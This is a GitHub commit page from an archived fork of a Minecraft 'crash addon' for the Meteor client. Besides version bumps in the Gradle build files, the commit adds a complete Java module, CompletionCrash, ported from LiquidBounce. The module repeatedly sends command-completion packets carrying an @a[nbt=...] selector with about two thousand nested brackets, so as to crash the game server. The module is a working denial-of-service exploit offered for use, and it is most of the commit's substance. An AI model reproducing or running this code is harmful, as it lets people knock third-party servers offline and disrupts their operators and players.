This repository has been archived by the owner on Oct 25, 2024. It is now read-only.
forked from AntiCope/meteor-crash-addon
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #1 from zImPatrick/completion
- Loading branch information
Showing
4 changed files
with
80 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,5 +1,5 @@ | ||
plugins { | ||
id 'fabric-loom' version '1.4-SNAPSHOT' | ||
id 'fabric-loom' version '1.5-SNAPSHOT' | ||
id 'maven-publish' | ||
} | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,13 +1,13 @@ | ||
org.gradle.jvmargs=-Xmx2G | ||
|
||
# Fabric Properties (https://fabricmc.net/develop/) | ||
minecraft_version=1.20.2 | ||
yarn_mappings=1.20.2+build.4 | ||
loader_version=0.14.23 | ||
minecraft_version=1.20.4 | ||
yarn_mappings=1.20.4+build.3 | ||
loader_version=0.15.2 | ||
|
||
# Mod Properties | ||
mod_version=0.6 | ||
maven_group=Wide-Cat | ||
archives_base_name=meteor-crash-addon | ||
|
||
meteor_version=0.5.5 | ||
meteor_version=0.5.6 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
74 changes: 74 additions & 0 deletions
74
src/main/java/widecat/meteorcrashaddon/modules/CompletionCrash.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
package widecat.meteorcrashaddon.modules; | ||
|
||
import meteordevelopment.meteorclient.events.game.GameLeftEvent; | ||
import meteordevelopment.meteorclient.events.world.TickEvent; | ||
import meteordevelopment.meteorclient.systems.modules.Module; | ||
import meteordevelopment.orbit.EventHandler; | ||
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket; | ||
import widecat.meteorcrashaddon.CrashAddon; | ||
|
||
import java.util.stream.Collectors; | ||
import java.util.stream.IntStream; | ||
|
||
// https://github.com/CCBlueX/LiquidBounce/blob/5593140550914f74ccd55ac0cd7b66da4d43f510/src/main/kotlin/net/ccbluex/liquidbounce/features/module/modules/exploit/servercrasher/exploits/CompletionExploit.kt | ||
public class CompletionCrash extends Module { | ||
public CompletionCrash() { | ||
super(CrashAddon.CATEGORY, "CompletionCrash", "Crashes the server using command completions, ported from LiquidBounce"); | ||
} | ||
|
||
private final String[] usedCommands = { | ||
"msg", | ||
"minecraft:msg", | ||
"tell", | ||
"minecraft:tell", | ||
"tm", | ||
"teammsg", | ||
"minecraft:teammsg", | ||
"minecraft:w", | ||
"minecraft:me" | ||
}; | ||
|
||
private int timer = 0; | ||
private int currentCommandIndex = 0; | ||
|
||
@Override | ||
public void onActivate() { | ||
timer = 0; | ||
currentCommandIndex = 0; | ||
} | ||
|
||
@EventHandler | ||
public void onTick(TickEvent.Pre tickEvent) { | ||
timer++; | ||
|
||
if (timer > currentCommandIndex * 20) { | ||
if (currentCommandIndex > usedCommands.length - 1) { | ||
toggle(); | ||
info("Done trying."); | ||
return; | ||
} | ||
|
||
// send a packet | ||
var commandToUse = usedCommands[currentCommandIndex]; | ||
info("Trying %s...", commandToUse); | ||
var overflow = generateJsonObject(2040 - commandToUse.length() - "@a[nbt=]".length()); | ||
var partialCommand = commandToUse + " @a[nbt=" + overflow + "]"; | ||
|
||
for (int j = 0; j < 3; j++) { | ||
mc.getNetworkHandler().sendPacket(new RequestCommandCompletionsC2SPacket(0, partialCommand)); | ||
} | ||
|
||
currentCommandIndex++; | ||
} | ||
} | ||
|
||
@EventHandler | ||
private void onGameLeft(GameLeftEvent event) { | ||
toggle(); | ||
} | ||
|
||
private String generateJsonObject(int levels) { | ||
var data = IntStream.range(0, levels).mapToObj(x -> "[").collect(Collectors.joining()); | ||
return String.format("{a:%s}", data); | ||
} | ||
} |